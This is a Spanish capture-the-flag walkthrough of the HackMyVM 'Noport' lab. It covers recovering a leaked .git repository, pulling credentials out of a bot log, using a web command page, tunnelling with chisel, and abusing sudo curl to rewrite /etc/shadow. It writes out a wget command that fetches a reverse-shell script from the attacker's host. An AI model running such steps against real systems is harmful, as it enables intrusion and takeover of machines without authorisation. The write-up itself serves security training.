Noport
Máquina de dificultad media de la plataforma HackMyVM
Comprobación
Comenzamos esta máquina creando, como siempre, un directorio con el nombre de esta máquina y ejecutando la función “maquina”, la cual está previamente definida en nuestra zshrc

Una vez que tenemos esos tres directorios, nos vamos a meter en reconocimiento y, una vez aquí, haremos un reconocimiento de la red para ver cuál es la IP de la máquina víctima

Ahí tenemos que es la 192.168.1.135, por lo que vamos a hacerle un ping para ver si tenemos conexión con ella

En el caso de esta máquina no tenemos la posibilidad de enviar trazas ICMP, por lo que vamos a pasar directamente al escaneo de puertos
Escaneo de puertos
Para poder descubrir qué puertos están abiertos dentro de la máquina, vamos a ejecutar el siguiente comando

Este comando lo que va a hacer es lo siguiente:
-sS
Para que no se realice un three-way handshake. Básicamente, lo que pasa si no le ponemos este parámetro es lo siguiente:
Si no le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK y entablamos la conexión enviando finalmente un ACK
Si le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK, pero le devolvemos un RST (Reset Packet)
Es una manera más “sigilosa” de hacer un escaneo y nos permite ir más rápido, pero se puede llegar a ver en los logs del servidor que alguien le está escaneando, así que cuidado si vais a hacerlo a un servidor “real”
--min-rate 5000
Le indicas a nmap que no haga peticiones más lentas de 5000 paquetes por segundo
-n
Por defecto, nmap realiza resolución DNS. Con este parámetro le indicamos que no lo haga
-Pn
Otra cosa que hace nmap por defecto es realizar un ping para saber si el host está activo antes de escanearlo, por lo que con este parámetro le decimos que no queremos que nos realice ese ping de comprobación
-oG
Por último, este parámetro lo que hace es exportar las evidencias al archivo “puertos_” en un formato fácil de tratar con expresiones regulares (como es nuestro caso con mi herramienta portsClean.sh)

Una vez que termina el escaneo, se nos genera un archivo al cual le vamos a pasar nuestra herramienta para que nos diga cuál es la información más relevante del escaneo

Con el parámetro -f le decimos cuál es el nombre de la captura que hemos generado con el parámetro -oG de nmap y con -o le indicamos el nombre del archivo en el que queremos que nos guarde las evidencias ya tratadas por esta herramienta
Como vemos, la máquina solamente tiene el puerto 80, por lo que vamos a ver qué servicios y versiones corren para este servicio. Para ello vamos a emplear de nuevo nmap

-sC
Este parámetro lo que hace es decirle a nmap que lance algunos de los scripts que tiene la herramienta programados en Lua
-sV
Con este otro le estamos diciendo a nmap que detecte las versiones de los servicios que están corriendo para el puerto 80
-oN
Y por último le decimos que todo lo que encuentre lo guarde en el archivo “versiones”, de la misma manera en la que se representaría por consola
Una vez que ha terminado este escaneo, vamos a abrir el archivo “versiones” para ver qué nos reporta de este puerto

Por ahí podemos ver que el servicio que corre para este puerto es una web (hecha con nginx) y que tenemos aparentemente un directorio /.git/, lo que nos da a pensar que igual es un repositorio de GitHub
PD: Recuerda que al hacer el “cat” le he especificado que el lenguaje es Java aunque no lo sea, para que me ponga los colores. Mi “cat” es un alias de bat
Ya que hemos visto que es un servicio web lo que corre para este puerto, vamos a hacerle las dos operaciones que suelo hacer siempre cuando veo que está corriendo un servicio así
La primera es ver las tecnologías que corren para este servicio con “whatweb”, que al fin y al cabo es como Wappalyzer, solo que esta es una herramienta de consola

La información que nos da es que está corriendo php/7.3.22, el título y poca cosa más
La segunda operación es utilizar un script que tiene nmap que sirve como fuzzer básico para ver superficialmente si hay algún directorio oculto disponible
El script reside en esta ruta absoluta de la máquina

Procedemos a ejecutarlo y vamos a ver qué nos reporta

Podemos ver que tenemos varios directorios disponibles, por lo que vamos a pasar a ver la página web, que es lo que contiene
Web
Nada más entrar a la página vemos lo siguiente

Un panel de login. Al no saber ni el usuario ni la contraseña, voy a pasar a ver el directorio git, que me interesa más
El directorio git sí que podemos verlo

Al tener esto disponible, podemos hacer una recomposición del proyecto
Para hacer esto hay herramientas que lo hacen automático, como por ejemplo “GitHack”, pero en esta ocasión lo voy a hacer a mano para que se vea cómo se haría sin emplear ninguna herramienta
Para empezar vamos a bajarnos todo el contenido que hay en ./.git

Lo que estamos haciendo aquí es bajarnos todo el contenido del directorio .git, pero borrando todo lo que empiece por index, ya que no pertenecen al repo original porque son generados por el servidor web y lo único que hacen es luego ensuciar la reconstrucción del proyecto
Una vez que nos hemos bajado todo lo que hay en la carpeta .git, vamos a materializar el contenido del repositorio a partir de los archivos que nos hemos descargado

Una vez que recomponemos el proyecto podemos ver tres archivos: uno de ellos parece la configuración de nginx, otro el index.php y, por último, un .conf
En principio el que a mí me interesa es el index.php, ya que es donde se supone que debe estar definida toda la lógica de la página web
Dentro del archivo index.php podemos ver cómo se hace la consulta a la base de datos, que existe un archivo “test.php” y que también existe un archivo sh3ll.php
En el index.php hay una cosa que me ha llamado la atención, es lo siguiente

Por lo que he intentado apuntar a un archivo interno del sistema para ver si se acontecía un LFI, pero no he tenido éxito
El caso es que hay muchas cosas definidas dentro del index.php, por lo que antes de seguir quiero ver qué más rutas (aparte del index.php) están disponibles en el servicio web

Podemos ver que hay un directorio 0, un archivo test.php (el cual ya sabíamos que existía por el index.php) y otro directorio log
Después de visitarlos, el que más me llamó la atención es log, ya que contiene lo siguiente

Podemos ver que se ha quedado un registro de la solicitud que he hecho antes, en la cual intentaba apuntar a un archivo del sistema y también su respuesta, en este caso que no se ha encontrado
Sabiendo que tenemos acceso a un fichero log, vamos a ver qué más cosas podemos encontrar en el archivo index.php
Podemos ver que si hacemos una petición por POST a la ruta /visit no tenemos que especificar el usuario, por lo que vamos a probarlo
Esta es una solicitud normal a /visit por GET


Y ahora vamos a probar a cambiar el método a POST


Como podemos ver, ya no nos dice que tenemos que registrarnos. Ahora lo que nos dice es que tenemos que especificar la URI
El URI, para el que no lo sepa, es una variable definida en el index.php

Si seguimos revisando el código podemos ver lo siguiente

Si la variable path es igual a /profile/, se ejecuta una consulta a la base de datos y se almacena en la variable $user
Vamos a realizar una solicitud con curl a /visit enviándole como data la ruta /profile/

Ahí podemos ver que nos sale que el bot ha visitado la ruta /profile/, por lo que si nos vamos ahora al directorio log que hemos visto antes nos encontraremos con lo siguiente

Ahí podemos ver el nombre de usuario y la contraseña
La contraseña parece estar en MD5, por lo que vamos a decodificarla

Ahí la tenemos, por lo que ahora vamos a ingresar a la página para ver cómo podemos ganar acceso al sistema
Dentro vemos esto:

Vemos que la página es “sh3ll.php”, que la hemos visto antes en el index, y traduciéndolo se supone que pone “Ejecutar comando” y “Comando:”
Vamos a comprobar si es verdad que podemos ejecutar comandos

Podemos ver que nos deja listar el contenido del directorio en el que está alojado el archivo sh3ll.php
Ya que podemos ejecutar comandos, voy a crearme una reverse shell, la cual voy a compartir a nivel de red para que la máquina víctima se la descargue
Para empezar, este es el archivo de reverse shell que voy a estar compartiendo

Una vez que lo tenemos listo, vamos a compartirlo a nivel de red montando un servicio web con Python en el puerto 80 de nuestra máquina atacante

Y ahora en la web, como podemos ejecutar comandos a nuestro antojo, vamos a descargarnos este archivo

wget http://192.168.1.155/reverse.sh
Una vez que lo ejecutamos, si miramos los logs de nuestro servicio web podemos ver que la IP de la máquina víctima se lo ha descargado

De todas formas, si ejecutamos un ls -la vamos a ver el archivo ahí también

Por lo que, una vez que está el archivo en la máquina víctima, lo que nos queda por hacer es ponernos en escucha por el puerto 1212 y ejecutar el script


Y ahí tendríamos nuestra reverse shell

Iba a hacer el tratamiento de la TTY como hago siempre que gano acceso a una máquina, pero al no tener el comando “script” instalado no puedo hacerlo así, por lo que he decidido usar rlwrap, que nos hace el apaño y nos permite hacer algunas cosas como si hubiéramos realizado el tratamiento. Una vez dicho esto, seguimos con la escalada de privilegios
Escalada de privilegios
Ahora estamos con los mínimos privilegios posibles, ya que somos el usuario apache, así que vamos a ver si encontramos la manera de escalar a otro usuario
Al irme al directorio /home vi que había un directorio con el nombre de “akaRed”, directorio, por cierto, para el que no tengo permisos, así que vamos a intentar escalar al usuario akaRed

Después de probar un rato vi lo siguiente

Hay un proceso escuchando por el puerto 22 (que normalmente es un puerto reservado para SSH), pero no puedo ver cuál es ya que no soy usuario root. Además, el servicio está escuchando por la interfaz 127.0.0.1, lo que significa que solo es accesible de forma interna, por eso no lo hemos visto a la hora de hacer el escaneo de puertos
Sabiendo esto ya tenemos una posible vía de acceso para poder conectarnos al puerto 22 haciendo port forwarding
Para poder realizar esto vamos a emplear “chisel”. Esta herramienta nos permite crear un túnel entre las dos máquinas y hacer que mi puerto x se convierta en su puerto 22 y de esta manera poder conectarnos por SSH a la máquina
Vamos a descargarla accediendo a su repo de GitHub

Una vez que la tenemos, vamos a montarnos un servidor web con Python como hemos hecho antes y desde el cliente nos vamos a descargar chisel

Una vez que lo tenemos tanto en la máquina víctima como en el atacante, procedemos a ponernos en escucha desde el atacante

Con el parámetro –reverse nos permite crear túneles a través
Y ahora en el cliente tenemos que ejecutar chisel de la siguiente manera

En el cliente hemos especificado lo siguiente
client <- para que se ejecute chisel en modo cliente
ip:puerto <- la IP y el puerto del servidor (la máquina atacante) que está en escucha
R:x:ip:y <- la R lo que hace es decir qué puerto queremos abrir en la máquina atacante, el cual es x, y después especificarle qué puerto de la máquina víctima va a ocupar nuestro puerto x de la máquina atacante
Una vez que tenemos esto, vamos a conectarnos por SSH a nuestro puerto 2222, el cual es el 22 de la víctima

Al intentar conectarnos nos pide una contraseña, así que vamos a poner la que hemos utilizado antes para registrarnos en la web de login

Como podemos ver, ya estamos en la máquina víctima como el usuario “akaRed”, por lo que ahora sí que podemos acceder a su directorio

Podemos ver la primera flag, ahora solo nos falta elevar nuestro privilegio a root
Tenemos la posibilidad de ejecutar “curl” como root

Por lo que vamos a elevar nuestro privilegio abusando de este binario
Para empezar, vamos a ver todo el contenido del fichero /etc/shadow

Nos copiamos todo ese contenido y lo metemos en un archivo
Lo que vamos a hacer es quitar la contraseña del usuario root y ponerle otra
Generamos la contraseña

Esta nueva cadena la reemplazamos en el archivo

Y una vez que tenemos esto, vamos a mover todo el contenido que tenemos en el archivo que hemos creado al archivo /etc/shadow, lo que nos va a permitir saber ya la contraseña que va a tener root y podremos conectarnos a él

Si ahora nos intentamos conectar como root

Ya estamos como root en la máquina víctima
Por aquí está la flag
